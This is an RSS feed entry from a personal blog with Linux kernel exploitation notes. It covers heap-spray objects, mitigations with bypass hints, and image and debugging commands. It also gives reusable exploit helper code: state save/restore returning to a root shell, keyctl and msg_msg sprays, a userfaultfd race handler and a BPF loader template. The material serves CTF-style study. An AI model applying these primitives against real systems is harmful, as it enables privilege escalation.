<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Mitigation on Uniguri&#39;s Blog</title>
    <link>/tags/mitigation/</link>
    <description>Recent content in Mitigation on Uniguri&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Fri, 20 Dec 2024 07:50:22 +0000</lastBuildDate><atom:link href="/tags/mitigation/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Kernel Basic</title>
      <link>/posts/kernel/basic/</link>
      <pubDate>Fri, 20 Dec 2024 07:50:22 +0000</pubDate>
      
      <guid>/posts/kernel/basic/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;elastic-oeap-objects&#34;&gt;Elastic oeap objects&lt;/h2&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Struct name&lt;/th&gt;
          &lt;th&gt;Generic caches&lt;/th&gt;
          &lt;th&gt;Constraints&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/keys/user-type.h&#34;&gt;&lt;code&gt;struct user_key_payload&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[32,32767)&lt;/td&gt;
          &lt;td&gt;only 200 allocation&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/mm_types.h&#34;&gt;&lt;code&gt;struct anon_vma_name&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,96)&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/msg.h&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[64,4096)&lt;/td&gt;
          &lt;td&gt;cg cache&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/ipc/msgutil.c&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,4096)&lt;/td&gt;
          &lt;td&gt;cg cache&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/drm/drm_property.h&#34;&gt;&lt;code&gt;struct drm_property_blob&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[96,INT_MAX)&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;char* description&lt;/code&gt; in &lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/key.h&#34;&gt;&lt;code&gt;struct key&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,4096&lt;/td&gt;
          &lt;td&gt;)&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;mitigations&#34;&gt;Mitigations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SMEP (Supervisor Mode Execution Prevention)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent RET2USER&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-cpu kvm64,+smep&lt;/code&gt; in QEMU runtime argument&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/cpuinfo | grep smep&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR4.SMEP&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SMAP (Supervisor Mode Access Prevention)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent Stack Pivot&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-cpu kvm64,+smap&lt;/code&gt; in QEMU runtime argument&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/cpuinfo | grep smap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR4.SMAP&lt;/code&gt;, &lt;code&gt;EFLAGS.AC&lt;/code&gt; (&lt;code&gt;STAC&lt;/code&gt; and &lt;code&gt;CLAC&lt;/code&gt; Assembly)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KASLR (Kernel Address Space Layout Randomization) / FGKASLR (Function Granular KASLR)
&lt;ul&gt;
&lt;li&gt;Entrophy: &lt;code&gt;0xffffffff81000000&lt;/code&gt; ~ &lt;code&gt;0xffffffffc0000000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Deactivation: &lt;code&gt;-append &amp;quot;...nokaslr...&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KPTI (Kernel Page-Table Isolation)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent Meltdown&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-append &amp;quot;...pti=on...&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /sys/devices/system/cpu/vulnerabilities/meltdown&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bypass:
&lt;ul&gt;
&lt;li&gt;If SMAP is disabled, &lt;code&gt;mmap(?, ?, ~ | MAP_POPULATE, ?, ?)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If ROP is allowed, use &lt;code&gt;ireq&lt;/code&gt; in &lt;code&gt;swapgs_restore_regs_and_return_to_usermode&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KADR (Kernel Address Display Restriction)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Hide address in &lt;code&gt;/proc/kallsyms&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/sys/kernel/kptr_restrict&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;image-related&#34;&gt;Image Related&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Unpack CPIO: &lt;code&gt;cpio -idv &amp;lt;../rootfs.cpio&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pack CPIO: &lt;code&gt;find. -print0 | cpio -o --format=newc --null --owner=root &amp;gt; ../rootfs_updated.cpio&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;debugging&#34;&gt;Debugging&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Extract vmlinux from bzImage from &lt;a href=&#34;https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux&#34;&gt;https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;


  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;312654897&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;312654897&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;extract-vmlinux&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland &amp;lt;dick@streefland.net&amp;gt;
#
# (c) 2011      Corentin Chary &amp;lt;corentin.chary@gmail.com&amp;gt;
#
# ----------------------------------------------------------------------

check_vmlinux()
{
	# Use readelf to check if it&amp;#39;s a valid ELF
	# TODO: find a better to way to check that it&amp;#39;s really vmlinux
	#       and not just an elf
	readelf -h $1 &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 || return 1

	cat $1
	exit 0
}

try_decompress()
{
	# The obscure use of the &amp;#34;tr&amp;#34; filter is to work around older versions of
	# &amp;#34;grep&amp;#34; that report the byte offset of the line instead of the pattern.

	# Try to find the header ($1) and decompress from here
	for	pos in `tr &amp;#34;$1\n$2&amp;#34; &amp;#34;\n$2=&amp;#34; &amp;lt; &amp;#34;$img&amp;#34; | grep -abo &amp;#34;^$2&amp;#34;`
	do
		pos=${pos%%:*}
		tail -c+$pos &amp;#34;$img&amp;#34; | $3 &amp;gt; $tmp 2&amp;gt; /dev/null
		check_vmlinux $tmp
	done
}

# Check invocation:
me=${0##*/}
img=$1
if	[ $# -ne 1 -o ! -s &amp;#34;$img&amp;#34; ]
then
	echo &amp;#34;Usage: $me &amp;lt;kernel-image&amp;gt;&amp;#34; &amp;gt;&amp;amp;2
	exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap &amp;#34;rm -f $tmp&amp;#34; 0

# That didn&amp;#39;t work, so retry after decompression.
try_decompress &amp;#39;\037\213\010&amp;#39; xy    gunzip
try_decompress &amp;#39;\3757zXZ\000&amp;#39; abcde unxz
try_decompress &amp;#39;BZh&amp;#39;          xy    bunzip2
try_decompress &amp;#39;\135\0\0\0&amp;#39;   xxx   unlzma
try_decompress &amp;#39;\211\114\132&amp;#39; xy    &amp;#39;lzop -d&amp;#39;
try_decompress &amp;#39;\002!L\030&amp;#39;   xxx   &amp;#39;lz4 -d&amp;#39;
try_decompress &amp;#39;(\265/\375&amp;#39;   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo &amp;#34;$me: Cannot find vmlinux.&amp;#34; &amp;gt;&amp;amp;2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;build-exploit-code&#34;&gt;Build Exploit Code&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use GLIBC: &lt;code&gt;gcc exploit.c -o exploit -static&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Use MUSL-GCC: &lt;code&gt;/usr/local/musl/bin/musl-gcc exploit.c -o exploit -static&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;or: &lt;code&gt;gcc -S exploit.c -o exploit.S; musl-gcc exploit.S -o exploit.elf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;code-snippet&#34;&gt;Code Snippet&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;132875469&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;132875469&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;utils.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

#define KERNEL_BASE_START 0xffffffff81000000ull
#define KERNEL_BASE_END 0xffffffffc0000000ull
#define KERNEL_BASE_MASK (~0x00000000000fffffull)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) &amp;gt;= KERNEL_BASE_START &amp;amp;&amp;amp; (addr) &amp;lt; KERNEL_BASE_END)

#define MIN(x, y) (x) &amp;lt; (y) ? (x) : (y)
#define MAX(x, y) (x) &amp;gt; (y) ? (x) : (y)

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;218539746&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;218539746&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;save_restore_state.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdint.h&amp;gt;

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

static void restore_state() {
  asm volatile(
      &amp;#34;swapgs;\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x20], %[u_ss];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x18], %[u_sp];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x10], %[u_rflags];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x08], %[u_cs];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x00], %[u_ret];\n&amp;#34;
      &amp;#34;iretq;\n&amp;#34; ::[u_cs] &amp;#34;r&amp;#34;(user_cs),
      [u_ss] &amp;#34;r&amp;#34;(user_ss), [u_sp] &amp;#34;r&amp;#34;(user_sp), [u_rflags] &amp;#34;r&amp;#34;(user_rflags),
      [u_ret] &amp;#34;r&amp;#34;(get_shell));
}

// For iretq
// *rop_buf++ = (uint64_t)(get_shell); // user_rip
// *rop_buf++ = (uint64_t)(user_cs);
// *rop_buf++ = (uint64_t)(user_rflags);
// *rop_buf++ = (uint64_t)(user_sp);
// *rop_buf++ = (uint64_t)(user_ss);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;493872651&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;493872651&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;cpu.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;sched.h&amp;gt;

void pin_to_core(size_t core);

void pin_to_core(size_t core) {
  cpu_set_t target_cpu;

  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(core, &amp;amp;target_cpu);

  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;162748395&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;162748395&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;user_key.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;linux/keyctl.h&amp;gt;
#include &amp;lt;stdarg.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

/**
 * type must be &amp;#34;keyring&amp;#34;, &amp;#34;user&amp;#34;, &amp;#34;logon&amp;#34;, or &amp;#34;big_key&amp;#34;
 */
static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid);
static int32_t sys_keyctl(int cmd, ...);
static int32_t sys_revoke_key(int32_t key);
static int32_t sys_update_key(int32_t key, void *payload, size_t size);
static int32_t sys_read_key(int32_t key, char *buf, size_t size);

static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid) {
  return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}
static int32_t sys_keyctl(int cmd, ...) {
  va_list ap;
  long arg2, arg3, arg4, arg5;
  va_start(ap, cmd);
  arg2 = va_arg(ap, long);
  arg3 = va_arg(ap, long);
  arg4 = va_arg(ap, long);
  arg5 = va_arg(ap, long);
  va_end(ap);
  return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
static int32_t sys_revoke_key(int32_t key) {
  return sys_keyctl(KEYCTL_REVOKE, key);
}
static int32_t sys_read_key(int32_t key, char *buf, size_t size) {
  return sys_keyctl(KEYCTL_READ, key, buf, size);
}
static int32_t sys_update_key(int32_t key, void *payload, size_t size) {
  return sys_keyctl(KEYCTL_UPDATE, key, payload, size);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;561873924&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;561873924&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;msgmsg.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/msg.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag);

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m-&amp;gt;mtext, data, size);
  m-&amp;gt;mtype = mtype;

  ret = msgsnd(msgqid, m, size, mflag);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m-&amp;gt;mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, mflag);
  memcpy(data, m-&amp;gt;mtext, size);

  free(m);
  return ret;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;718324965&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;718324965&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;uffd.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Check /proc/sys/vm/unprivileged_userfaultfd

#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd &amp;lt; 0) {
    fatal(&amp;#34;syscall(__NR_userfaultfd)&amp;#34;);
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

static void* userfault_template_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_template_handler: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts(&amp;#34;[*] userfault_template_handler: waiting for page fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_template_handler: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_template_handler: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(&amp;#34;userfault_template_handler: msg.event != UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    printf(&amp;#34;[*] userfault_template_handler: addr=0x%llx, flag=0x%llx\n&amp;#34;,
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    // Main Routine
    copy.src = (uint64_t)page;  // data of page will be data of faulted page

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_template_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }
  }

  munmap(page, 0x1000);
  return NULL;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;126358749&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;126358749&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;bpf.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Check /proc/sys/kernel/unprivileged_bpf_disabled

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

void bpf_template() {
  char verifier_log[0x10000];

  uint64_t val = 0;
  int mapfd = bpf_map_create(sizeof(uint64_t), 1);
  bpf_map_update(mapfd, 0, &amp;amp;val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff

      // Instructions

      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  // Trigger the BPF program
  write(socks[1], &amp;#34;UNIGURI&amp;#34;, 7);

  bpf_map_lookup(mapfd, 0, &amp;amp;val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;176932458&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;176932458&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;bpf_insn.h&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */
/* eBPF instruction mini library */
#ifndef __BPF_INSN_H
#define __BPF_INSN_H

struct bpf_insn;

/* ArgX, context and stack frame pointer register positions. Note,
 * Arg1, Arg2, Arg3, etc are used as argument mappings of function
 * calls in BPF_CALL instruction.
 */
#define BPF_REG_ARG1 BPF_REG_1
